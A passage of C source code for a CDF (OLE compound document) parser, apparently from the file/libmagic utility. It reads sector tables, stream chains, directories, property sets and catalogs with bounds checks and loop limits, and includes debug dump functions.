CDF_SEC_SIZE(h) * sst->sst_len) { DPRINTF(("Out of bounds read %" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", pos + len, CDF_SEC_SIZE(h) * sst->sst_len)); goto out; } (void)memcpy(RCAST(char *, buf) + offs, RCAST(const char *, sst->sst_tab) + pos, len); return len; out: errno = EFTYPE; return -1; } /* * Read the sector allocation table. */ int cdf_read_sat(const cdf_info_t *info, cdf_header_t *h, cdf_sat_t *sat) { size_t i, j, k; size_t ss = CDF_SEC_SIZE(h); cdf_secid_t *msa, mid, sec; size_t nsatpersec = (ss / sizeof(mid)) - 1; for (i = 0; i < __arraycount(h->h_master_sat); i++) if (h->h_master_sat[i] == CDF_SECID_FREE) break; #define CDF_SEC_LIMIT (UINT32_MAX / (64 * ss)) if ((nsatpersec > 0 && h->h_num_sectors_in_master_sat > CDF_SEC_LIMIT / nsatpersec) || i > CDF_SEC_LIMIT) { DPRINTF(("Number of sectors in master SAT too big %u %" SIZE_T_FORMAT "u\n", h->h_num_sectors_in_master_sat, i)); errno = EFTYPE; return -1; } sat->sat_len = h->h_num_sectors_in_master_sat * nsatpersec + i; DPRINTF(("sat_len = %" SIZE_T_FORMAT "u ss = %" SIZE_T_FORMAT "u\n", sat->sat_len, ss)); if ((sat->sat_tab = CAST(cdf_secid_t *, CDF_CALLOC(sat->sat_len, ss))) == NULL) return -1; for (i = 0; i < __arraycount(h->h_master_sat); i++) { if (h->h_master_sat[i] < 0) break; if (cdf_read_sector(info, sat->sat_tab, ss * i, ss, h, h->h_master_sat[i]) != CAST(ssize_t, ss)) { DPRINTF(("Reading sector %d", h->h_master_sat[i])); goto out1; } } if ((msa = CAST(cdf_secid_t *, CDF_CALLOC(1, ss))) == NULL) goto out1; mid = h->h_secid_first_sector_in_master_sat; for (j = 0; j < h->h_num_sectors_in_master_sat; j++) { if (mid < 0) goto out; if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Reading master sector loop limit")); goto out3; } if (cdf_read_sector(info, msa, 0, ss, h, mid) != CAST(ssize_t, ss)) { DPRINTF(("Reading master sector %d", mid)); goto out2; } for (k = 0; k < nsatpersec; k++, i++) { sec = CDF_TOLE4(CAST(uint32_t, msa[k])); if (sec < 0) goto out; if (i >= sat->sat_len) { DPRINTF(("Out of bounds reading MSA %" SIZE_T_FORMAT "u >= %" SIZE_T_FORMAT "u", i, sat->sat_len)); goto out3; } if (cdf_read_sector(info, sat->sat_tab, ss * i, ss, h, sec) != CAST(ssize_t, ss)) { DPRINTF(("Reading sector %d", CDF_TOLE4(msa[k]))); goto out2; } } mid = CDF_TOLE4(CAST(uint32_t, msa[nsatpersec])); } out: sat->sat_len = i; free(msa); return 0; out3: errno = EFTYPE; out2: free(msa); out1: free(sat->sat_tab); return -1; } size_t cdf_count_chain(const cdf_sat_t *sat, cdf_secid_t sid, size_t size) { size_t i, j; cdf_secid_t maxsector = CAST(cdf_secid_t, (sat->sat_len * size) / sizeof(maxsector)); DPRINTF(("Chain:")); if (sid == CDF_SECID_END_OF_CHAIN) { /* 0-length chain. */ DPRINTF((" empty\n")); return 0; } for (j = i = 0; sid >= 0; i++, j++) { DPRINTF((" %d", sid)); if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Counting chain loop limit")); goto out; } if (sid >= maxsector) { DPRINTF(("Sector %d >= %d\n", sid, maxsector)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } if (i == 0) { DPRINTF((" none, sid: %d\n", sid)); goto out; } DPRINTF(("\n")); return i; out: errno = EFTYPE; return CAST(size_t, -1); } int cdf_read_long_sector_chain(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { size_t ss = CDF_SEC_SIZE(h), i, j; ssize_t nr; scn->sst_tab = NULL; scn->sst_len = cdf_count_chain(sat, sid, ss); scn->sst_dirlen = MAX(h->h_min_size_standard_stream, len); scn->sst_ss = ss; if (sid == CDF_SECID_END_OF_CHAIN || len == 0) return cdf_zero_stream(scn); if (scn->sst_len == CAST(size_t, -1)) goto out; scn->sst_tab = CDF_CALLOC(scn->sst_len, ss); if (scn->sst_tab == NULL) return cdf_zero_stream(scn); for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read long sector chain loop limit")); goto out; } if (i >= scn->sst_len) { DPRINTF(("Out of bounds reading long sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, scn->sst_len)); goto out; } if ((nr = cdf_read_sector(info, scn->sst_tab, i * ss, ss, h, sid)) != CAST(ssize_t, ss)) { if (i == scn->sst_len - 1 && nr > 0) { /* Last sector might be truncated */ return 0; } DPRINTF(("Reading long sector chain %d", sid)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } return 0; out: errno = EFTYPE; return cdf_zero_stream(scn); } int cdf_read_short_sector_chain(const cdf_header_t *h, const cdf_sat_t *ssat, const cdf_stream_t *sst, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { size_t ss = CDF_SHORT_SEC_SIZE(h), i, j; scn->sst_tab = NULL; scn->sst_len = cdf_count_chain(ssat, sid, CDF_SEC_SIZE(h)); scn->sst_dirlen = len; scn->sst_ss = ss; if (scn->sst_len == CAST(size_t, -1)) goto out; scn->sst_tab = CDF_CALLOC(scn->sst_len, ss); if (scn->sst_tab == NULL) return cdf_zero_stream(scn); for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read short sector chain loop limit")); goto out; } if (i >= scn->sst_len) { DPRINTF(("Out of bounds reading short sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, scn->sst_len)); goto out; } if (cdf_read_short_sector(sst, scn->sst_tab, i * ss, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading short sector chain %d", sid)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, ssat->sat_tab[sid])); } return 0; out: errno = EFTYPE; return cdf_zero_stream(scn); } int cdf_read_sector_chain(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { if (len < h->h_min_size_standard_stream && sst->sst_tab != NULL) return cdf_read_short_sector_chain(h, ssat, sst, sid, len, scn); else return cdf_read_long_sector_chain(info, h, sat, sid, len, scn); } int cdf_read_dir(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_dir_t *dir) { size_t i, j; size_t ss = CDF_SEC_SIZE(h), ns, nd; char *buf; cdf_secid_t sid = h->h_secid_first_directory; ns = cdf_count_chain(sat, sid, ss); if (ns == CAST(size_t, -1)) return -1; nd = ss / CDF_DIRECTORY_SIZE; dir->dir_len = ns * nd; dir->dir_tab = CAST(cdf_directory_t *, CDF_CALLOC(dir->dir_len, sizeof(dir->dir_tab[0]))); if (dir->dir_tab == NULL) return -1; if ((buf = CAST(char *, CDF_MALLOC(ss))) == NULL) { free(dir->dir_tab); return -1; } for (j = i = 0; i < ns; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read dir loop limit")); goto out; } if (cdf_read_sector(info, buf, 0, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading directory sector %d", sid)); goto out; } for (j = 0; j < nd; j++) { cdf_unpack_dir(&dir->dir_tab[i * nd + j], &buf[j * CDF_DIRECTORY_SIZE]); } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } if (NEED_SWAP) for (i = 0; i < dir->dir_len; i++) cdf_swap_dir(&dir->dir_tab[i]); free(buf); return 0; out: free(dir->dir_tab); free(buf); errno = EFTYPE; return -1; } int cdf_read_ssat(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_sat_t *ssat) { size_t i, j; size_t ss = CDF_SEC_SIZE(h); cdf_secid_t sid = h->h_secid_first_sector_in_short_sat; ssat->sat_tab = NULL; ssat->sat_len = cdf_count_chain(sat, sid, ss); if (ssat->sat_len == CAST(size_t, -1)) goto out; ssat->sat_tab = CAST(cdf_secid_t *, CDF_CALLOC(ssat->sat_len, ss)); if (ssat->sat_tab == NULL) goto out1; for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read short sat sector loop limit")); goto out; } if (i >= ssat->sat_len) { DPRINTF(("Out of bounds reading short sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, ssat->sat_len)); goto out; } if (cdf_read_sector(info, ssat->sat_tab, i * ss, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading short sat sector %d", sid)); goto out1; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } return 0; out: errno = EFTYPE; out1: free(ssat->sat_tab); return -1; } int cdf_read_short_stream(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_dir_t *dir, cdf_stream_t *scn, const cdf_directory_t **root) { size_t i; const cdf_directory_t *d; *root = NULL; for (i = 0; i < dir->dir_len; i++) if (dir->dir_tab[i].d_type == CDF_DIR_TYPE_ROOT_STORAGE) break; /* If the it is not there, just fake it; some docs don't have it */ if (i == dir->dir_len) { DPRINTF(("Cannot find root storage dir\n")); goto out; } d = &dir->dir_tab[i]; *root = d; /* If the it is not there, just fake it; some docs don't have it */ if (d->d_stream_first_sector < 0) { DPRINTF(("No first secror in dir\n")); goto out; } return cdf_read_long_sector_chain(info, h, sat, d->d_stream_first_sector, d->d_size, scn); out: scn->sst_tab = NULL; (void)cdf_zero_stream(scn); return 0; } static int cdf_namecmp(const char *d, const uint16_t *s, size_t l) { for (; l--; d++, s++) if (*d != CDF_TOLE2(*s)) return CAST(unsigned char, *d) - CDF_TOLE2(*s); return 0; } int cdf_read_doc_summary_info(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, cdf_stream_t *scn) { return cdf_read_user_stream(info, h, sat, ssat, sst, dir, "\05DocumentSummaryInformation", scn); } int cdf_read_summary_info(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, cdf_stream_t *scn) { return cdf_read_user_stream(info, h, sat, ssat, sst, dir, "\05SummaryInformation", scn); } int cdf_read_user_stream(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, const char *name, cdf_stream_t *scn) { const cdf_directory_t *d; int i = cdf_find_stream(dir, name, CDF_DIR_TYPE_USER_STREAM); if (i <= 0) { memset(scn, 0, sizeof(*scn)); return -1; } d = &dir->dir_tab[i - 1]; return cdf_read_sector_chain(info, h, sat, ssat, sst, d->d_stream_first_sector, d->d_size, scn); } int cdf_find_stream(const cdf_dir_t *dir, const char *name, int type) { size_t i, name_len = strlen(name) + 1; for (i = dir->dir_len; i > 0; i--) if (dir->dir_tab[i - 1].d_type == type && cdf_namecmp(name, dir->dir_tab[i - 1].d_name, name_len) == 0) break; if (i > 0) return CAST(int, i); DPRINTF(("Cannot find type %d `%s'\n", type, name)); errno = ESRCH; return 0; } #define CDF_SHLEN_LIMIT (UINT32_MAX / 64) #define CDF_PROP_LIMIT (UINT32_MAX / (64 * sizeof(cdf_property_info_t))) static const void * cdf_offset(const void *p, size_t l) { return CAST(const void *, CAST(const uint8_t *, p) + l); } static const uint8_t * cdf_get_property_info_pos(const cdf_stream_t *sst, const cdf_header_t *h, const uint8_t *p, const uint8_t *e, size_t i) { size_t tail = (i << 1) + 1; size_t ofs; const uint8_t *q; if (p >= e) { DPRINTF(("Past end %p < %p\n", e, p)); return NULL; } if (cdf_check_stream_offset(sst, h, p, (tail + 1) * sizeof(uint32_t), __LINE__) == -1) return NULL; ofs = CDF_GETUINT32(p, tail); q = CAST(const uint8_t *, cdf_offset(CAST(const void *, p), ofs - 2 * sizeof(uint32_t))); if (q < p) { DPRINTF(("Wrapped around %p < %p\n", q, p)); return NULL; } if (q >= e) { DPRINTF(("Ran off the end %p >= %p\n", q, e)); return NULL; } return q; } static cdf_property_info_t * cdf_grow_info(cdf_property_info_t **info, size_t *maxcount, size_t incr) { cdf_property_info_t *inp; size_t newcount = *maxcount + incr; if (newcount > CDF_PROP_LIMIT) { DPRINTF(("exceeded property limit %" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", newcount, CDF_PROP_LIMIT)); goto out; } inp = CAST(cdf_property_info_t *, CDF_REALLOC(*info, newcount * sizeof(*inp))); if (inp == NULL) goto out; *info = inp; *maxcount = newcount; return inp; out: free(*info); *maxcount = 0; *info = NULL; return NULL; } static int cdf_copy_info(cdf_property_info_t *inp, const void *p, const void *e, size_t len) { if (inp->pi_type & CDF_VECTOR) return 0; if (CAST(size_t, CAST(const char *, e) - CAST(const char *, p)) < len) return 0; (void)memcpy(&inp->pi_val, p, len); switch (len) { case 2: inp->pi_u16 = CDF_TOLE2(inp->pi_u16); break; case 4: inp->pi_u32 = CDF_TOLE4(inp->pi_u32); break; case 8: inp->pi_u64 = CDF_TOLE8(inp->pi_u64); break; default: abort(); } return 1; } int cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h, uint32_t offs, cdf_property_info_t **info, size_t *count, size_t *maxcount) { const cdf_section_header_t *shp; cdf_section_header_t sh; const uint8_t *p, *q, *e; size_t i, o4, nelements, j, slen, left; cdf_property_info_t *inp; if (offs > UINT32_MAX / 4) { errno = EFTYPE; goto out; } shp = CAST(const cdf_section_header_t *, cdf_offset(sst->sst_tab, offs)); if (cdf_check_stream_offset(sst, h, shp, sizeof(*shp), __LINE__) == -1) goto out; sh.sh_len = CDF_TOLE4(shp->sh_len); if (sh.sh_len > CDF_SHLEN_LIMIT) { errno = EFTYPE; goto out; } if (cdf_check_stream_offset(sst, h, shp, sh.sh_len, __LINE__) == -1) goto out; sh.sh_properties = CDF_TOLE4(shp->sh_properties); DPRINTF(("section len: %u properties %u\n", sh.sh_len, sh.sh_properties)); if (sh.sh_properties > CDF_PROP_LIMIT) goto out; inp = cdf_grow_info(info, maxcount, sh.sh_properties); if (inp == NULL) goto out; inp += *count; *count += sh.sh_properties; p = CAST(const uint8_t *, cdf_offset(sst->sst_tab, offs + sizeof(sh))); e = CAST(const uint8_t *, cdf_offset(shp, sh.sh_len)); if (p >= e || cdf_check_stream_offset(sst, h, e, 0, __LINE__) == -1) goto out; for (i = 0; i < sh.sh_properties; i++) { if ((q = cdf_get_property_info_pos(sst, h, p, e, i)) == NULL) goto out; inp[i].pi_id = CDF_GETUINT32(p, i << 1); left = CAST(size_t, e - q); if (left < sizeof(uint32_t)) { DPRINTF(("short info (no type)_\n")); goto out; } inp[i].pi_type = CDF_GETUINT32(q, 0); DPRINTF(("%" SIZE_T_FORMAT "u) id=%#x type=%#x offs=%#tx,%#x\n", i, inp[i].pi_id, inp[i].pi_type, q - p, offs)); if (inp[i].pi_type & CDF_VECTOR) { if (left < sizeof(uint32_t) * 2) { DPRINTF(("missing CDF_VECTOR length\n")); goto out; } nelements = CDF_GETUINT32(q, 1); if (nelements > CDF_ELEMENT_LIMIT || nelements == 0) { DPRINTF(("CDF_VECTOR with nelements == %" SIZE_T_FORMAT "u\n", nelements)); goto out; } slen = 2; } else { nelements = 1; slen = 1; } o4 = slen * sizeof(uint32_t); if (inp[i].pi_type & (CDF_ARRAY|CDF_BYREF|CDF_RESERVED)) goto unknown; switch (inp[i].pi_type & CDF_TYPEMASK) { case CDF_NULL: case CDF_EMPTY: break; case CDF_SIGNED16: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int16_t))) goto unknown; break; case CDF_SIGNED32: case CDF_BOOL: case CDF_UNSIGNED32: case CDF_FLOAT: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int32_t))) goto unknown; break; case CDF_SIGNED64: case CDF_UNSIGNED64: case CDF_DOUBLE: case CDF_FILETIME: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int64_t))) goto unknown; break; case CDF_LENGTH32_STRING: case CDF_LENGTH32_WSTRING: if (nelements > 1) { size_t nelem = inp - *info; inp = cdf_grow_info(info, maxcount, nelements); if (inp == NULL) goto out; inp += nelem; } for (j = 0; j < nelements && i < sh.sh_properties; j++, i++) { uint32_t l; if (o4 + sizeof(uint32_t) > left) goto out; l = CDF_GETUINT32(q, slen); o4 += sizeof(uint32_t); if (o4 + l > left) goto out; inp[i].pi_str.s_len = l; inp[i].pi_str.s_buf = CAST(const char *, CAST(const void *, &q[o4])); DPRINTF(("o=%" SIZE_T_FORMAT "u l=%d(%" SIZE_T_FORMAT "u), t=%" SIZE_T_FORMAT "u s=%s\n", o4, l, CDF_ROUND(l, sizeof(l)), left, inp[i].pi_str.s_buf)); if (l & 1) l++; slen += l >> 1; o4 = slen * sizeof(uint32_t); } i--; break; case CDF_CLIPBOARD: if (inp[i].pi_type & CDF_VECTOR) goto unknown; break; default: unknown: memset(&inp[i].pi_val, 0, sizeof(inp[i].pi_val)); DPRINTF(("Don't know how to deal with %#x\n", inp[i].pi_type)); break; } } return 0; out: free(*info); *info = NULL; *count = 0; *maxcount = 0; errno = EFTYPE; return -1; } int cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h, cdf_summary_info_header_t *ssi, cdf_property_info_t **info, size_t *count) { size_t maxcount; const cdf_summary_info_header_t *si = CAST(const cdf_summary_info_header_t *, sst->sst_tab); const cdf_section_declaration_t *sd = CAST(const cdf_section_declaration_t *, RCAST(const void *, RCAST(const char *, sst->sst_tab) + CDF_SECTION_DECLARATION_OFFSET)); if (cdf_check_stream_offset(sst, h, si, sizeof(*si), __LINE__) == -1 || cdf_check_stream_offset(sst, h, sd, sizeof(*sd), __LINE__) == -1) return -1; ssi->si_byte_order = CDF_TOLE2(si->si_byte_order); ssi->si_os_version = CDF_TOLE2(si->si_os_version); ssi->si_os = CDF_TOLE2(si->si_os); ssi->si_class = si->si_class; cdf_swap_class(&ssi->si_class); ssi->si_count = CDF_TOLE4(si->si_count); *count = 0; maxcount = 0; *info = NULL; if (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset), info, count, &maxcount) == -1) return -1; return 0; } #define extract_catalog_field(t, f, l) \ if (b + l + sizeof(cep->f) > eb) { \ cep->ce_namlen = 0; \ break; \ } \ memcpy(&cep->f, b + (l), sizeof(cep->f)); \ ce[i].f = CAST(t, CDF_TOLE(cep->f)) int cdf_unpack_catalog(const cdf_header_t *h, const cdf_stream_t *sst, cdf_catalog_t **cat) { size_t ss = cdf_check_stream(sst, h); const char *b = CAST(const char *, sst->sst_tab); const char *nb, *eb = b + ss * sst->sst_len; size_t nr, i, j, k; cdf_catalog_entry_t *ce; uint16_t reclen; const uint16_t *np; for (nr = 0;; nr++) { memcpy(&reclen, b, sizeof(reclen)); reclen = CDF_TOLE2(reclen); if (reclen == 0) break; b += reclen; if (b > eb) break; } if (nr == 0) return -1; nr--; *cat = CAST(cdf_catalog_t *, CDF_MALLOC(sizeof(cdf_catalog_t) + nr * sizeof(*ce))); if (*cat == NULL) return -1; ce = (*cat)->cat_e; memset(ce, 0, nr * sizeof(*ce)); b = CAST(const char *, sst->sst_tab); for (j = i = 0; i < nr; b += reclen) { cdf_catalog_entry_t *cep = &ce[j]; uint16_t rlen; extract_catalog_field(uint16_t, ce_namlen, 0); extract_catalog_field(uint16_t, ce_num, 4); extract_catalog_field(uint64_t, ce_timestamp, 8); reclen = cep->ce_namlen; if (reclen < 14) { cep->ce_namlen = 0; continue; } cep->ce_namlen = __arraycount(cep->ce_name) - 1; rlen = reclen - 14; if (cep->ce_namlen > rlen) cep->ce_namlen = rlen; np = CAST(const uint16_t *, CAST(const void *, (b + 16))); nb = CAST(const char *, CAST(const void *, (np + cep->ce_namlen))); if (nb > eb) { cep->ce_namlen = 0; break; } for (k = 0; k < cep->ce_namlen; k++) cep->ce_name[k] = np[k]; /* XXX: CDF_TOLE2? */ cep->ce_name[cep->ce_namlen] = 0; j = i; i++; } (*cat)->cat_num = j; return 0; } int cdf_print_classid(char *buf, size_t buflen, const cdf_classid_t *id) { return snprintf(buf, buflen, "%.8x-%.4x-%.4x-%.2x%.2x-" "%.2x%.2x%.2x%.2x%.2x%.2x", id->cl_dword, id->cl_word[0], id->cl_word[1], id->cl_two[0], id->cl_two[1], id->cl_six[0], id->cl_six[1], id->cl_six[2], id->cl_six[3], id->cl_six[4], id->cl_six[5]); } static const struct { uint32_t v; const char *n; } vn[] = { { CDF_PROPERTY_CODE_PAGE, "Code page" }, { CDF_PROPERTY_TITLE, "Title" }, { CDF_PROPERTY_SUBJECT, "Subject" }, { CDF_PROPERTY_AUTHOR, "Author" }, { CDF_PROPERTY_KEYWORDS, "Keywords" }, { CDF_PROPERTY_COMMENTS, "Comments" }, { CDF_PROPERTY_TEMPLATE, "Template" }, { CDF_PROPERTY_LAST_SAVED_BY, "Last Saved By" }, { CDF_PROPERTY_REVISION_NUMBER, "Revision Number" }, { CDF_PROPERTY_TOTAL_EDITING_TIME, "Total Editing Time" }, { CDF_PROPERTY_LAST_PRINTED, "Last Printed" }, { CDF_PROPERTY_CREATE_TIME, "Create Time/Date" }, { CDF_PROPERTY_LAST_SAVED_TIME, "Last Saved Time/Date" }, { CDF_PROPERTY_NUMBER_OF_PAGES, "Number of Pages" }, { CDF_PROPERTY_NUMBER_OF_WORDS, "Number of Words" }, { CDF_PROPERTY_NUMBER_OF_CHARACTERS, "Number of Characters" }, { CDF_PROPERTY_THUMBNAIL, "Thumbnail" }, { CDF_PROPERTY_NAME_OF_APPLICATION, "Name of Creating Application" }, { CDF_PROPERTY_SECURITY, "Security" }, { CDF_PROPERTY_LOCALE_ID, "Locale ID" }, }; int cdf_print_property_name(char *buf, size_t bufsiz, uint32_t p) { size_t i; for (i = 0; i < __arraycount(vn); i++) if (vn[i].v == p) return snprintf(buf, bufsiz, "%s", vn[i].n); return snprintf(buf, bufsiz, "%#x", p); } int cdf_print_elapsed_time(char *buf, size_t bufsiz, cdf_timestamp_t ts) { int len = 0; int days, hours, mins, secs; ts /= CDF_TIME_PREC; secs = CAST(int, ts % 60); ts /= 60; mins = CAST(int, ts % 60); ts /= 60; hours = CAST(int, ts % 24); ts /= 24; days = CAST(int, ts); if (days) { len += snprintf(buf + len, bufsiz - len, "%dd+", days); if (CAST(size_t, len) >= bufsiz) return len; } if (days || hours) { len += snprintf(buf + len, bufsiz - len, "%.2d:", hours); if (CAST(size_t, len) >= bufsiz) return len; } len += snprintf(buf + len, bufsiz - len, "%.2d:", mins); if (CAST(size_t, len) >= bufsiz) return len; len += snprintf(buf + len, bufsiz - len, "%.2d", secs); return len; } char * cdf_u16tos8(char *buf, size_t len, const uint16_t *p) { size_t i; for (i = 0; i < len && p[i]; i++) buf[i] = CAST(char, p[i]); buf[i] = '\0'; return buf; } #ifdef CDF_DEBUG void cdf_dump_header(const cdf_header_t *h) { size_t i; #define DUMP(a, b) (void)fprintf(stderr, "%40.40s = " a "\n", # b, h->h_ ## b) #define DUMP2(a, b) (void)fprintf(stderr, "%40.40s = " a " (" a ")\n", # b, \ h->h_ ## b, 1 << h->h_ ## b) DUMP("%d", revision); DUMP("%d", version); DUMP("%#x", byte_order); DUMP2("%d", sec_size_p2); DUMP2("%d", short_sec_size_p2); DUMP("%d", num_sectors_in_sat); DUMP("%d", secid_first_directory); DUMP("%d", min_size_standard_stream); DUMP("%d", secid_first_sector_in_short_sat); DUMP("%d", num_sectors_in_short_sat); DUMP("%d", secid_first_sector_in_master_sat); DUMP("%d", num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) { if (h->h_master_sat[i] == CDF_SECID_FREE) break; (void)fprintf(stderr, "%35.35s[%.3" SIZE_T_FORMAT "u] = %d\n", "master_sat", i, h->h_master_sat[i]); } } void cdf_dump_sat(const char *prefix, const cdf_sat_t *sat, size_t size) { size_t i, j, s = size / sizeof(cdf_secid_t); for (i = 0; i < sat->sat_len; i++) { (void)fprintf(stderr, "%s[%" SIZE_T_FORMAT "u]:\n%.6" SIZE_T_FORMAT "u: ", prefix, i, i * s); for (j = 0; j < s; j++) { (void)fprintf(stderr, "%5d, ", CDF_TOLE4(sat->sat_tab[s * i + j])); if ((j + 1) % 10 == 0) (void)fprintf(stderr, "\n%.6" SIZE_T_FORMAT "u: ", i * s + j + 1); } (void)fprintf(stderr, "\n"); } } void cdf_dump(const void *v, size_t len) { size_t i, j; const unsigned char *p = v; char abuf[16]; (void)fprintf(stderr, "%.4x: ", 0); for (i = 0, j = 0; i < len; i++, p++) { (void)fprintf(stderr, "%.2x ", *p); abuf[j++] = isprint(*p) ? *p : '.'; if (j == 16) { j = 0; abuf[15] = '\0'; (void)fprintf(stderr, "%s\n%.4" SIZE_T_FORMAT "x: ", abuf, i + 1); } } (void)fprintf(stderr, "\n"); } void cdf_dump_stream(const cdf_stream_t *sst) { size_t ss = sst->sst_ss; cdf_dump(sst->sst_tab, ss * sst->sst_len); } void cdf_dump_dir(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir) { size_t i, j; cdf_directory_t *d; char name[__arraycount(d->d_name)]; cdf_stream_t scn; struct timespec ts; static const char *types[] = { "empty", "user storage", "user stream", "lockbytes", "property", "root storage" }; for (i = 0; i < dir->dir_len; i++) { char buf[26]; d = &dir->dir_tab[i]; for (j = 0; j < sizeof(name); j++) name[j] = (char)CDF_TOLE2(d->d_name[j]); (void)fprintf(stderr, "Directory %" SIZE_T_FORMAT "u: %s\n", i, name); if (d->d_type < __arraycount(types)) (void)fprintf(stderr, "Type: %s\n", types[d->d_type]); else (void)fprintf(stderr, "Type: %d\n", d->d_type); (void)fprintf(stderr, "Color: %s\n", d->d_color ? "black" : "red"); (void)fprintf(stderr, "Left child: %d\n", d->d_left_child); (void)fprintf(stderr, "Right child: %d\n", d->d_right_child); (void)fprintf(stderr, "Flags: %#x\n", d->d_flags); cdf_timestamp_to_timespec(&ts, d->d_created); (void)fprintf(stderr, "Created %s", cdf_ctime(&ts.tv_sec, buf)); cdf_timestamp_to_timespec(&ts, d->d_modified); (void)fprintf(stderr, "Modified %s", cdf_ctime(&ts.tv_sec, buf)); (void)fprintf(stderr, "Stream %d\n", d->d_stream_first_sector); (void)fprintf(stderr, "Size %d\n", d->d_size); switch (d->d_type) { case CDF_DIR_TYPE_USER_STORAGE: (void)fprintf(stderr, "Storage: %d\n", d->d_storage); break; case CDF_DIR_TYPE_USER_STREAM: if (sst == NULL) break; if (cdf_read_sector_chain(info, h, sat, ssat, sst, d->d_stream_first_sector, d->d_size, &scn) == -1) { warn("Can't read stream for %s at %d len %d", name, d->d_stream_first_sector, d->d_size); break; } cdf_dump_stream(&scn); free(scn.sst_tab); break; default: break; } } } void cdf_dump_property_info(const cdf_property_info_t *info, size_t count) { cdf_timestamp_t tp; struct timespec ts; char buf[64]; size_t i, j; for (i = 0; i < count; i++) { cdf_print_property_name(buf, sizeof(buf), info[i].pi_id); (void)fprintf(stderr, "%" SIZE_T_FORMAT "u) %s: ", i, buf); switch (info[i].pi_type) { case CDF_NULL: break; case CDF_SIGNED16: (void)fprintf(stderr, "signed 16 [%hd]\n", info[i].pi_s16); break; case CDF_SIGNED32: (void)fprintf(stderr, "signed 32 [%d]\n", info[i].pi_s32); break; case CDF_UNSIGNED32: (void)fprintf(stderr, "unsigned 32 [%u]\n", info[i].pi_u32); break; case CDF_FLOAT: (void)fprintf(stderr, "float [%g]\n", info[i].pi_f); break; case CDF_DOUBLE: (void)fprintf(stderr, "double [%g]\n", info[i].pi_d); break; case CDF_LENGTH32_STRING: (void)fprintf(stderr, "string %u [%.*s]\n", info[i].pi_str.s_len, info[i].pi_str.s_len, info[i].pi_str.s_buf); break; case CDF_LENGTH32_WSTRING: (void)fprintf(stderr, "string %u [", info[i].pi_str.s_len); for (j = 0; j < info[i].pi_str.s_len - 1; j++) (void)fputc(info[i].pi_str.s_buf[j << 1], stderr); (void)fprintf(stderr, "]\n"); break; case CDF_FILETIME: tp = info[i].pi_tp; if (tp < 1000000000000000LL) { cdf_print_elapsed_time(buf, sizeof(buf), tp); (void)fprintf(stderr, "timestamp %s\n", buf); } else { char tbuf[26]; cdf_timestamp_to_timespec(&ts, tp); (void)fprintf(stderr, "timestamp %s", cdf_ctime(&ts.tv_sec, tbuf)); } break; case CDF_CLIPBOARD: (void)fprintf(stderr, "CLIPBOARD %u\n", info[i].pi_u32); break; default: DPRINTF(("Don't know how to deal with %#x\n", info[i].pi_type)); break; } } } void cdf_dump_summary_info(const cdf_header_t *h, const cdf_stream_t *sst) { char buf[128]; cdf_summary_info_header_t ssi; cdf_property_info_t *info; size_t count; (void)&h; if (cdf_unpack_summary_info(sst, h, &ssi, &info, &count) == -1) return; (void)fprintf(stderr, "Endian: %#x\n", ssi.si_byte_order); (void)fprintf(stderr, "Os Version %d.%d\n", ssi.si_os_version & 0xff, ssi.si_os_version >> 8); (void)fprintf(stderr, "Os %d\n", ssi.si_os); cdf_print_classid(buf, sizeof(buf), &ssi.si_class); (void)fprintf(stderr, "Class %s\n", buf); (void)fprintf(stderr, "Count %d\n", ssi.si_count); cdf_dump_property_info(info, count); free(info); } void cdf_dump_catalog(const cdf_header_t *h, const cdf_stream_t *sst) { cdf_catalog_t *cat; cdf_unpack_catalog(h, sst, &cat); const cdf_catalog_entry_t *ce = cat->cat_e; struct timespec ts; char tbuf[64], sbuf[256]; 